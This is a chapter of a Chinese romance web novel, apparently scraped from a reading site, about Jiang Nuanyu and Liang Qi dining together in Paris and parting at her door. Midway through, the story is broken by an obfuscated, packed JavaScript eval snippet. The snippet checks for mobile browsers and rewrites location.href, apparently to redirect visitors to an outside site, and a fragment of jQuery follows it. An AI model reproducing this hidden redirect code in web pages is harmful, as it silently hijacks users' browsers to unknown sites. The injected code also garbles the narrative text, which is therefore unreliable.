默认冷灰
24号文字
方正启体

56. Chapter 56

作者:寓时节本书字数:K更新时间:
    画廊到餐厅不远不近,不到半小时的车程。


    抵达时,餐厅还没到入客人流的高峰。靠窗倒有不少位置还空着,不过都已经被提前预定出去,两人最后在稍微靠中间的餐位落座。


    虽说是姜暖瑜选的餐厅,但点菜这件事,她一向不太擅长,还是把它推给了梁齐。


    不过,她推荐了一道鹅肝,说这家的香煎鹅肝是她吃过最好吃的。


    梁齐点完菜,服务生给二人面前的酒杯里分别倒上酒。


    餐厅整体偏暗,没有公共照明,光源只来自每张餐桌上的吊灯,将下面那方区域照得明亮。


    周围幽暗,每张桌子都像一个飘浮在黑色长廊中孤立的小世界。


    等待上菜的间隙,和最初在车里相比,气氛沉默了不少。尤其是姜暖瑜。


    倒不是因为她对梁齐没话可讲,只是那种倾诉、表达的欲望,归根到底也属于冲动的一种。而冲动是属于瞬间的艺术,终归会被理性压制。


    她其实很想问梁齐他怎么会来巴黎,可一想到朱利,又觉得,她好像也不是非得知道这问题的答案。


    梁齐安静看着她,琢磨了一会儿她的表情,短暂垂了下眼神,说:“来巴黎有四个月了吧?”


    姜暖瑜微怔。


    四个月。


    “四”这个数字,突兀地将她离开前一晚那些无理的醉话、那个明明白白发生了却迟迟没有对证的晚上重现。


    而她不告而别的离开,也就这么被摆到了台面上。


    她抬了抬眼皮,却没敢看进他的眼睛,轻应了声:“嗯。”


    梁齐问:“过来以后,一直没回国吗?”


    她摇头,回答得很快:“没有。”


    连续两个有关京城的问题,她都没看着他回答,一副回避的姿态。


    梁齐看她半晌,点点头,没再接着问。


    服务生送上前菜,适时地将这份微妙的僵持打破。


    两道前菜,一道是片得薄薄的扇贝肉,卷成了一个个小卷儿,上面淋着清新适口的柑橘酱汁;另一道,则是姜暖瑜推荐的香煎鹅肝。


    姜暖瑜叉起一片扇贝肉,没立刻吃,眼珠揪揪地瞅了眼梁齐那边的鹅肝,瞅完又抬眼看向梁齐。


    梁齐拿起餐具,抬眸对上她视线了,便将她眼中那一下的心思瞧得门儿清。


    他用餐叉先取了一小块鹅肝,送入口中抿化了,咽下,主动道:“确实不错。”


    姜暖瑜听他这样评价,眉眼弯弯地抿唇笑了。


    安利收到认可,是一件会让人觉得满足的事。


    她随后也吃了一块她的那份鹅肝,只觉得,怎么比上次来的时候还要好吃。


    吃了会儿,姜暖瑜想喝口酒,润润口腔。她刚放下叉子,梁齐大概也是同样的想法,几乎在同一时刻也伸出手。


    两人动作一顿,对视一眼后,各自举起酒杯,在空中轻轻地碰了下。


    谁都没说话,但目光交错间,竟有一种无言的默契。


    柔和的灯光打在纯白的细纹桌布,又投进彼此眼底,皆是黑白分明的眸子里,像是有荧荧流光在波动。


    姜暖瑜抿一口酒,觉得这一刻美好得不真实。


    第二轮上菜后,梁齐忽问:“你换号了吗?”


    姜暖瑜从面前刚上的鸭胸和牛肉里抬起头,手上的动作停下,茫然地摇了摇头:“没有啊。”


    到巴黎之后,她办了一张当地的电话卡。加上原本那张国内的,两张卡一部手机刚好够用,并没有弃用掉之前的号码。可梁齐这么问,倒让她心里闪过一个可能性几乎为零的念头。


    但很快,梁齐便替她将这个念头打消了。


    “没什么。”他看一眼她的表情,说,“就是确认一下,看那个号还能不能联系到你。”


    “……噢。”姜暖瑜低低应了一声,说不上是失望还是开心,也许二者都有。


    这几个月里,他没联系过她;


    但他这样问,是不是意味着,他以后想联系她?


    姜暖瑜兀自想着,蹙蹙眉——怎么他一句话,就要将她还算平静的心湖搅动了?


    允许自己期待未来的事情,到时候要是期望落空,那种痛苦可没人能替得了。


    可到底嘴巴没身体诚实,思想又比嘴巴爱说谎。


    她这么劝慰着自己,却愈发想知道他会出现在巴黎的原因。默了一阵儿,纠结了几秒,她终是没忍住:“你……”


    她才刚开口,梁齐便抬眼看向她。不知是不是这一眼的缘故,她只说了一个字,便再没了音儿。


    梁齐也不追问,推测着她没问出口的问题,道:“我来出差。”


    姜暖瑜抬眸,眨了眨眼,眸子里闪着略显期盼的光。


    又听梁齐说:“云景在欧洲的几个项目,前段时间刚结束项目升级。我过来看看。”


    姜暖瑜还望着他,半晌,才意识到他的话已经讲完了。


    ……就,没了?


    “噢。”她点点头回应,之后又像是礼节性地“嗯”了一声,低头切分盘里的牛肉。


    梁齐手上也在切肉,视线却落在对面姜暖瑜的盘子:那里头的牛肉被切下了一部分,较大的那块看起来暂时安全,不幸的是,那块小的似乎被针对了,正被冰冷的刀叉分割、再分割。


    对于刚才他的回答,她不是“噢”就是“嗯”的,似乎不太满意,可那语气,又不像当真在消极敷衍。


    他抬眸盯了她一瞬,收回视线后说:“那家画廊是朱利的。”


    果然,姜暖瑜对他这句话明显有了兴趣,手上切肉的动作也缓了下来。


    可梁齐却迟迟没再多说,只分着盘里的肉。


    她抬起头,梁齐也撩起眼皮看她,把她的神情都收入眼里后,他放下刀叉,把那份刚分好的鸭胸移到她面前,又把她那块还没动的拿过来。


    姜暖瑜受宠若惊,下意识想道谢,另一边又没法理所当然地接受这份好意;想说她自己来就可以,又怕显得自作多情。


    慌乱中,她语无伦次,几个音节磕磕绊绊地卡在嘴边:“谢、我自——我……”


    “还记得天奇和康蒂的合作吗?”梁齐开口,终结了她纷乱的思绪。


    姜暖瑜一懵。


    没等她回答,梁齐又接着道:“合作项目里的度假村,有关艺术中心的代理权限,部分在朱利名下。这部分代理和画廊是通用的。”


    姜暖瑜听着,似懂非懂的,没讲话。


    “今天展出的那几个画家,是朱利新签到的代理。作品先在画廊展出,后续会转到度假村里。”梁齐说,“这两天刚开展,我刚好在巴黎,就顺便去看看。”


    姜暖瑜这下好像明白些了,梁齐似乎是在解释他为什么会出现在朱利的画廊。


    可他为什么要向她解释这个?明明她还什么都没问出口。


    她低头,看一眼面前的餐盘,一块块整齐排列着的鸭胸旁边,那块牛肉的一部分,已经被她在无意间拆解得支离破碎,实在有些惨不忍睹。


    姜暖瑜:“……”


    他是看到她用牛肉“泄愤”了?


    就这么被抓包,她窘得脸皮都要掉了,舔了舔嘴唇,觉得有点儿干,伸手去拿酒杯,可手里的餐叉还没放下。


    “咣——”一声,叉柄敲在玻璃杯上,发出悠扬徐徐的回音。


    她赶紧看梁齐一眼,只见他刚从她手的方向收回视线。


    许是他够体贴、够绅士、够礼貌,不想她觉得难堪,从而一言未发,表情也没有丝毫变化,一点看笑话的意思都没有。


    可正因为他这样,她更尴尬了。


    她:“……”


    她放下餐叉,捏起酒杯仰头就喝。她咕咕咕连着喝了三大口,直到最后一口了,那酒才有机会在她嘴巴里多停留一会儿再被咽下。


    酒气从喉咙弥漫开,充斥在鼻腔,扑得她眼睛都烧的慌。好在这款红酒度数不低,很浓烈,足够解释她脸上的那份热度。


    酒精作用下,她血液在耳边突突的,但那股子不自在好似散了些。


    她重新拿起那把叉子,叉起一块鸭胸放入口中。


    梁齐这才又看她一眼,她认真而缓慢地咀嚼着,仿佛要尝出多么不一样的味道来。


    她没对他后来的解释发表意见,但看样子,这回应该是满意了。


    等她终于要把嘴里那块鸭胸咽下时,他问:“你今天是去看某个人的画?”


    姜暖瑜果然放松了不少,听言抬起头,舔了下嘴角的酱汁,说:“也不是。上午去参加了一个品牌的联名活动,结束之后就在附近逛了逛,觉得画廊外面挺漂亮的,就进去看看。”


    梁齐了然地点点头,半开玩笑道:“算加班吗?”


    姜暖瑜抬起眉毛:“你说品牌的活动?”


    他点头。


    “不算吧。”姜暖瑜认真地思考了几秒,柔柔地笑了一下,“因为也可以不去。”


    大概她是真的为这种相对自由的状态而感到满足,笑的时候,还不自觉地眯了下眼睛,像只顺了毛的小猫儿。梁齐瞧见她这抹笑容,也跟着弯了下唇角。


    提起加班这茬,他忽然想到,她说这家餐厅在她公司附近,他问:“你工作的杂志叫什么?”


    “《Chaleur》。”姜暖瑜答。


    梁齐半眯了下眼,道:“主编是个光头?”


    “是!”姜暖瑜眼睛一亮,惊讶道,“你认识他?”


    “有过业务合作。”梁齐没有否认。


    “哦……”姜暖瑜消化着这个信息,缓缓道,“这么说,《Florian》也不是你合作过的唯一一家杂志咯。”


    这话没错。《Chaleur》背后的出版集团,的确和云景欧洲有着长期的友好合作。但说起《Florian》,梁齐倒是想到前段时间他那些个无谓的“福慧”行为。


    她这句话没别的意思,但不知是不是有这一层心理作祟,梁齐听了,总觉得她语气里带着点别样的意味。


    他无意在这个话题上多做延伸,却还是简单解释了一句:“不太一样。”


    “噢。”姜暖瑜点点头,看他一眼后没再多问。她一向有分寸,虽然《Chaleur》和她有点关系,但只要不是全然相干的事情,她绝不刨根问底。


    她低头继续吃饭,不知怎的,她今天的胃口似乎格外好,竟然把盘里的肉和菜全都吃光了。


    就连那“块”破碎的牛肉,最后也被她拌着青酱,抹在梁齐后来特意点的面包上吃掉,终是“死得其所”。


    一顿饭吃了蛮久,除了最开始梁齐试图提起她喝醉那晚的事情,让姜暖瑜别扭了一阵儿,后来的气氛,竟也算得上温馨融洽。


    结账后,梁齐提前联系了司机。往餐厅门口走时,他注意着两人脚下的路,问:“你住哪儿?”


    “16区。”


    “挺好。”


    姜暖瑜偏过头看他,不知他这句“挺好”好在哪。或者只是他随口的一句回应?她不知道。


    她其实想反问他在巴黎会住哪里,犹豫后,终究没选择开口。


    上车后,两人也有一阵儿没说话。


    接近晚上十点,太阳终于落山。车窗外,灰蓝色的天幕像给城市罩上了一层篷布。天色灰暗,却不是那么漆黑一片。


    车内,谁都没有刻意去填补沉默,任其在空气里流淌。


    尽是如此,当汽车驶过她经常出入的那站地铁口时,姜暖瑜仍觉得时间过得太快了。


    十分钟出头的车程,快得让人还没来得及多想,就要结束。


    车即将停下前,她问:“你什么时候离开巴黎?”


    “明天。”


    好快。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549276|186533||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她揣着他或许暂时还会留在欧洲的希望,又问:“……是回国吗?”


    梁齐答:“是。”


    姜暖瑜的内心一瞬如狂风呼啸而过,那点飘渺的希望,就此被卷得支离破碎、片甲不留。


    此时人还没分开,她仿佛已经要淹溺在那种倾盖的孤独里。


    这一刻的感受,比她独自在巴黎这几个月里的任意一天、任意一秒都强烈。


    她第一次害怕、抗拒一个人回家。这个国度、这座城市、那间公寓里,只有她一个人。


    她不想一个人。


    大概因为如此,车停下后,梁齐提出送她到楼下,她没拒绝他。


    车在路边停着,司机留在车上,梁齐随她一起下了车,步行送她回去。


    快到时,姜暖瑜伸手指了指那几扇属于她住处的窗户,道:“那间就是。”


    梁齐顺着她指的方向看去,确认道:“二楼?”


    “嗯,白色窗帘。”


    梁齐点点头,视线在其中扫了一个来回。几扇落地窗皆是白色网格的窗框,其中有两扇窗帘开着,隐约可见靠近窗边的家具。是她在巴黎生活的痕迹。


    姜暖瑜侧眸观察着他的表情,很期盼他问她些什么。


    她住的公寓、她的窗子、她的窗帘,她工作的地方、身边有哪些人、会做什么事,她日常的通勤、饮食、生活,所有,问什么都好。


    她好想把她在这座城市的所有都和他讲,好想通过这些交流,将“巴黎的姜暖瑜”和“梁齐”连接起来。


    可他什么都没问,她也就什么都没说。


    单元楼门口被树篱围着,圈出了一块空地,两人在楼前站定。


    姜暖瑜低着头,几次欲言又止,却讲不出告别的话。最后,她索性完全不去想要说什么。


    心中只有一个念头——时间好快,如果可以就此停止就好了。


    梁齐见她沉默,也没急着说要走,安静陪她站了会儿。


    天空灰蓝氤氲,路灯幽幽亮着,在头顶散发出暖黄的柔和的光。晚风拂过,吹过他的衣领,撩动她耳边的头发。


    姜暖瑜耳后的一缕发丝被风带出来,横吹在她脸前,一会儿扫她的眼睫、一会儿拨弄她的嘴唇,她也不管。


    梁齐看她一眼,朝她转过身,稍稍挡住吹向她的风。


    她发丝落下,眼眸抬起。


    视线对上后,似是安抚般,他冲她浅浅笑了一下。


    她却在这一瞬红了眼睛。


    梁齐说:“上去吧。早点休息。”


    姜暖瑜嘴角撇了下,看着他,抿着嘴不讲话。


    她不想听他说这些,她想听的不是这些。


    他会陪她静静站在门口,会在说出告别前冲她微笑。她的不舍得,他明明都知道的,怎么能就这么离开?


    可,她才是他们之间那个先离开的人啊。


    是她亲手放弃了他爱她的可能,又怎么能再一次次理直气壮地向他索取,她能够靠近他的资格?


    今天偶然的重逢,这个有他在她身边的、像是幻梦世界的晚上,就应该和过去许多个夜晚的梦一样,在经历美好后,会醒来的。


    梦境是美好的,但也注定是虚幻和短暂的、会破碎的。


    她怎么能贪恋呢,怎么敢贪恋?


    爱、悔、痛,惭愧、歉疚、自责交织在一起,心在剧烈撕扯。


    姜暖瑜疼到急促地漾出一口气,痛苦地揪起眉毛。


    她想她可能是疯了,才会在清醒地明白这一切后,依然想留下他。


    她不想他走。还是想要他。


    不管在京城还是巴黎,是幻梦中或是清醒时,都一样。她还是想要他。


    梁齐抬起手,顺着她后脑勺抚了一道下去,轻握住她后颈捏了捏。


    他没说话,姜暖瑜知道,他是在等她。


    他在等她先转身、先离开、先做决定。


    他一直都是这样的人,好像永远尊重她,永远会给她选择的余地。


    可正是这种温柔的余地,让她连想逃避都显得愈发懦弱,愈发可耻。


    “梁齐。”她唤他一声。


    没等到她下文,他回应她:“嗯。”


    她深深地垂下脑袋,像一个向首领请求赦免的败将,一个向敌将屈服示弱的降兵,颤声说:“可不可以……你先走啊?”


    梁齐安抚她后颈的手缓缓停了,看着她低下去的发顶,沉默几秒后,他说:“好。”


    姜暖瑜紧紧绷起唇,将眼前浮起的泪意眨了又眨,点头又点头,才终于从嗓子眼里挤出一个尾音向上的“嗯”。


    紧接着,她启开嘴唇,喘一口气,也对他说:“好。”


    她像是单方面和他达成了某种仪式,这次的分开,不再是她一人为之,而是他与她共同做出的选择。


    梁齐没再说别的,放下手后,良久,他后退一步,转身,朝他送她回来的方向离开。


    在他的身影彻底消失在视野前,姜暖瑜猛地闭起眼睛。


    这一刻,几乎天旋地转。


    她紧紧攥着拳头,指甲死死硌着掌心的皮肤,伴着疼痛,勾缠住了最后的一丝理智,没有向他追去。


    *


    梁齐回到车里,让司机送他回住处。


    手机上,几分钟前,彭泽发来改签后于明天回国的航班信息。彭泽还说,他即将按原计划起飞回国。


    梁齐扫了一眼,熄了屏,靠在座椅上,试图闭目养神,半刻后,却烦躁地皱了下眉。


    他睁开眼看一眼窗外,巴黎的街景正在加速后移,她住的街区已经远了。


    时隔多日再见她,她好像还是以前的样子,很真,也较真儿。但细想想,却又有些不一样。她话多了些,但也封闭了些。她似乎比以前更懂得如何逃避。


    她可以逃避,但是,逃避从来都没有用。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)